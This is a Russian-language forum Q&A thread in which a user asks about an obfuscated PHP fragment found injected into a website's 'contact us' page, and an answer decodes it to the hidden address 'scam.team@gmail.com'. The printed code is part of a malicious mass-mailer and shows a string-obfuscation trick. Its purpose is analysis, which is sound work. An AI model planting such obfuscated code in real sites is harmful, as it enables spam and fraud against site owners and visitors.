Сложно выяснить смысл этого блока кода? - PullRequest
0 голосов
/ 08 сентября 2018

Я расшифровывал вредоносное ПО, и после этого я обнаружил в массиве PHP блок массива, который не могу понять, как он работает, мне нужно ваше экспертное мнение по этому вопросу.

$s=array("w"=>"e","t"=>"c","l"=>"a","r"=>"m","q"=>".","@"=>"t","e"=>"s","c"=>"@","v"=>"g","h"=>"i","y"=>"l","u"=>"o");
$dash=$s['e'].$s['t'].$s['l'].$s['r'].$s['q'].$s['@'].$s['w'].$s['l'].$s['r'].$s['c'].$s['v'].$s['r'].$s['l'].$s['h'].$s['y'].$s['q'].$s['t'].$s['u'].$s['r'];

Общий блок кода:

<?php
$s=array("w"=>"e","t"=>"c","l"=>"a","r"=>"m","q"=>".","@"=>"t","e"=>"s","c"=>"@","v"=>"g","h"=>"i","y"=>"l","u"=>"o");
$dash=$s['e'].$s['t'].$s['l'].$s['r'].$s['q'].$s['@'].$s['w'].$s['l'].$s['r'].$s['c'].$s['v'].$s['r'].$s['l'].$s['h'].$s['y'].$s['q'].$s['t'].$s['u'].$s['r'];
if ($action=="send"){
  if (!$from && !$subject && !$message && !$emaillist){
    print "Please complete all fields before sending your message.";
    exit;

Это часть блока кода, который был добавлен к странице " contact us ".

1 Ответ

0 голосов
/ 08 сентября 2018
<?php

$s=array("w"=>"e","t"=>"c","l"=>"a","r"=>"m","q"=>".","@"=>"t","e"=>"s","c"=>"@","v"=>"g","h"=>"i","y"=>"l","u"=>"o");
$dash=$s['e'].$s['t'].$s['l'].$s['r'].$s['q'].$s['@'].$s['w'].$s['l'].$s['r'].$s['c'].$s['v'].$s['r'].$s['l'].$s['h'].$s['y'].$s['q'].$s['t'].$s['u'].$s['r'];


print_r($s);
print_r($dash);
?>

при попытке печати print_r($s); напечатает

Array
(
    [w] => e
    [t] => c
    [l] => a
    [r] => m
    [q] => .
    [@] => t
    [e] => s
    [c] => @
    [v] => g
    [h] => i
    [y] => l
    [u] => o
)  

и строка print_r($dash); напечатает

scam.team@gmail.com

в переменной $ dash они получают доступ к значению данных, связанных с ключом.

...